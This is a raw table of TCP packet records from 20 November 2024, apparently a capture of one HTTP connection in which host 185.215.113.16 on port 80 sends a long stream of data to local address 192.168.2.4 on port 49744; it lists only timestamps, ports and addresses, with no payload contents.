Nov 20, 2024 21:04:28.891832113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.891921997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.891980886 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.892889023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.893011093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.893110037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.893567085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.893699884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.893758059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.894434929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.894548893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.894602060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.895417929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.895561934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.895620108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.896292925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.896400928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.896456003 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.897227049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.897382021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.897450924 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.898181915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.898361921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.898420095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.899113894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.899219990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.899276972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.900017977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.900125027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.900181055 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.900984049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.901078939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.901134014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.901894093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.902003050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.902060032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.902822018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.902915001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.902968884 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.903767109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.903830051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.903887987 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.904690027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.904807091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.904863119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.905657053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.905704975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.905760050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.906574011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.906687021 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.906743050 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.907506943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.907609940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.907707930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.908459902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.908584118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.908643007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.909415960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.909488916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.909543991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.910296917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.910381079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.910439014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.911227942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.911401987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.911456108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.912161112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.912322044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.912379026 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.913085938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.913203955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.913269997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.914036989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.914217949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.914273977 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.914962053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.915117979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.915174007 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.915903091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.916009903 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.916063070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.916863918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.916937113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.916990042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.917779922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.917892933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.917949915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.918706894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.918764114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.918817997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.919626951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.919791937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.919848919 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.920588970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.920679092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.920737028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.921494961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.921606064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.921664953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.922441006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.922561884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.922619104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.923363924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.923443079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.923497915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.924309969 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.924412012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.924468040 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.925225973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.925311089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.925374031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.926165104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.926270008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.926321983 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.927126884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.927222013 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.927288055 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.928057909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.928231955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.928277016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.928962946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.929065943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.929121017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.930514097 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.930531979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.930593014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.930775881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.972214937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.082904100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.082963943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.083056927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.083245993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.083462000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.083518028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.083549023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.084389925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.084445953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.084490061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.085351944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.085405111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.085433960 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.086240053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.086297035 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.086322069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.087189913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.087250948 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.087295055 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.088150024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.088197947 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.088418961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.089065075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.089082003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.089116096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.090029001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.090059996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.090075016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.090930939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.090989113 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.091059923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.091881037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.091936111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.091963053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.092964888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.093009949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.093054056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.093720913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.093770981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.093799114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.094644070 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.094690084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.094727039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.095643997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.095700026 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.095741034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.096518040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.096566916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.096611023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.097450018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.097496033 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.097529888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.098376036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.098419905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.098519087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.099308968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.099358082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.099453926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.100306988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.100356102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.100370884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.101254940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.101320982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.101412058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.102152109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.102200031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.102263927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.103055000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.103112936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.103147984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.103977919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.104037046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.104059935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.104907990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.104970932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.104995012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.105870008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.105923891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.105998993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.106806040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.106853962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.106897116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.107729912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.107783079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.107789040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.108671904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.108752966 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.108999968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.109615088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.109668970 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.109723091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.110600948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.110618114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.110658884 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.111475945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.111529112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.111540079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.112410069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.112461090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.112529039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.113339901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.113388062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.113475084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.114269018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.114314079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.114367008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.115242958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.115258932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.115324020 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.116156101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.116203070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.116245985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.117083073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.117136002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.117172003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.117372990 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.117988110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.118042946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.118088961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.118928909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.119008064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.119050026 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.119961023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.120009899 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.120076895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.120874882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.120925903 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.120969057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.121717930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.121762991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.121840954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.122694016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.122720957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.122769117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.123595953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.123640060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.123769045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.124519110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.124566078 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.124636889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.125471115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.125514030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.125518084 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.126416922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.126462936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.126524925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.127353907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.127405882 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.127423048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.128245115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.128297091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.128369093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.129221916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.129255056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.129280090 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.130140066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.130194902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.130244970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.131066084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.131112099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.131128073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.135760069 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.284271955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.284406900 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.284462929 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.284676075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.284733057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.284871101 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.285607100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.285794020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.285835028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.286567926 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.286724091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.286761999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.287482023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.287568092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.287609100 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.288434029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.288631916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.288682938 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.289371967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.289518118 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.289562941 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.290287971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.290395975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.290442944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.291208029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.291342974 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.291388988 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.292144060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.292279959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.292325974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.293095112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.293138027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.293188095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.294004917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.294121027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.294167042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.294965029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.295025110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.295064926 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.295880079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.296010017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.296057940 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.296809912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.297008991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.297054052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.297749043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.297910929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.297957897 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:29.298703909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:29.298727989 CET	80	49744	185.215.113.16	192.168.2.4
